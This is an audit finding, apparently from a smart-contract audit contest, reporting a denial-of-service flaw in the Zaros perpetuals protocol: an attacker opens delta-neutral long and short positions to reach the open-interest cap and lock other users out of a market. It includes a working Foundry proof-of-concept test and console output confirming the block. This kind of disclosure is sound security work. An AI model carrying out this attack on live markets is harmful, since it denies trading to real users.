Summary
An attacker can create an equal long and short position to reach the maximum open interest so that no other users can trade in that market.
Vulnerability Details
An attacker can create an equal long and short position to reach the maximum open interest so that no other users can trade in that market.
Since the position is delta neutral they are not taking any risk to price fluctuations of the market asset.
At this point no other users can trade in that market
Add the following POC to createMarketOrder.t.sol
function test__createDeltaNeutralPositionToReachMaxOpenInterestAndDosAllUsers() public {
uint256 marginValueUsdc = 8_000_000e6;
int128 userPositionSizeDelta = 500_000_000e18;
deal({ token: address(usdc), to: users.naruto.account, give: marginValueUsdc });
deal({ token: address(usdc), to: users.sasuke.account, give: marginValueUsdc });
changePrank({ msgSender: users.naruto.account });
uint128 tradingAccountIdLong = createAccountAndDeposit(marginValueUsdc / 2, address(usdc));
uint128 tradingAccountIdShort = createAccountAndDeposit(marginValueUsdc / 2, address(usdc));
openManualPosition(
DOGE_USD_MARKET_ID, DOGE_USD_STREAM_ID, MOCK_DOGE_USD_PRICE, tradingAccountIdLong, userPositionSizeDelta / 2
);
openManualPosition(
DOGE_USD_MARKET_ID, DOGE_USD_STREAM_ID, MOCK_DOGE_USD_PRICE, tradingAccountIdShort, -userPositionSizeDelta / 2
);
changePrank({ msgSender: users.sasuke.account });
uint128 tradingAccountIdHonest = createAccountAndDeposit(marginValueUsdc, address(usdc));
openManualPosition(
DOGE_USD_MARKET_ID, DOGE_USD_STREAM_ID, MOCK_DOGE_USD_PRICE, tradingAccountIdHonest, 1000e18
);
}
Console Output
Ran 1 test for test/integration/perpetuals/order-branch/createMarketOrder/createMarketOrder.t.sol:CreateMarketOrder_Integration_Test
[FAIL. Reason: ExceedsOpenInterestLimit(6, 500000000000000000000000000 [5e26], 500001000000000000000000000 [5e26])] test__createDeltaNeutralPositionToReachMaxOpenInterestAndDosAllUsers() (gas: 2339782)
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 26.76ms (3.45ms CPU time)
Ran 1 test suite in 60.09ms (26.76ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/integration/perpetuals/order-branch/createMarketOrder/createMarketOrder.t.sol:CreateMarketOrder_Integration_Test
[FAIL. Reason: ExceedsOpenInterestLimit(6, 500000000000000000000000000 [5e26], 500001000000000000000000000 [5e26])] test__createDeltaNeutralPositionToReachMaxOpenInterestAndDosAllUsers() (gas: 2339782)
Encountered a total of 1 failing tests, 0 tests succeeded
Impact
Complete DOS of trading to all other users for that market
Users will not use zaros if they cannot trade in certain markets
Tools Used
Manual review
Recommendations
This will require a complex solution to prevent introducing other vulnerabilities, I could not come up with one in the time boxed audit.